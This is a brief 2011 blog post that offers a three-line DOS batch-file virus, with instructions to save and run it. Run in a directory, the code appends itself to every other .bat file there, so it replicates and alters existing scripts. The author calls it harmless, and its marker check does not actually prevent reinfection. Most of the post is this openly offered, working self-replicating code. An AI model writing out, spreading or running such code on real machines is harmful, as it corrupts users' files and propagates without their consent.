Skip to content

Stupid Simple Computer Virus in 3 Lines of Code

April 19, 2011

Yes, it’s pretty useless and completely harmless. A DOS batch file virus in 3 simple lines. Useless… but totally meets or surpasses computer virus specifications:


@echo off
find "**cranky**" *.bat
for %%p in (*.bat) do copy %%p + %0

Save it as a .bat file.
Voila!
No really. If you run this on windows/DOS in a directory full of .bat files, this will replicate itself and infect all the other .bat files. Too easy? Use “copy con blah.bat” to create the file so you can feel a bit more accomplished.

From → Hacks

One Comment
  1. Chris permalink

    come out with a youtube advertisement skipping program lol

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s

%d bloggers like this: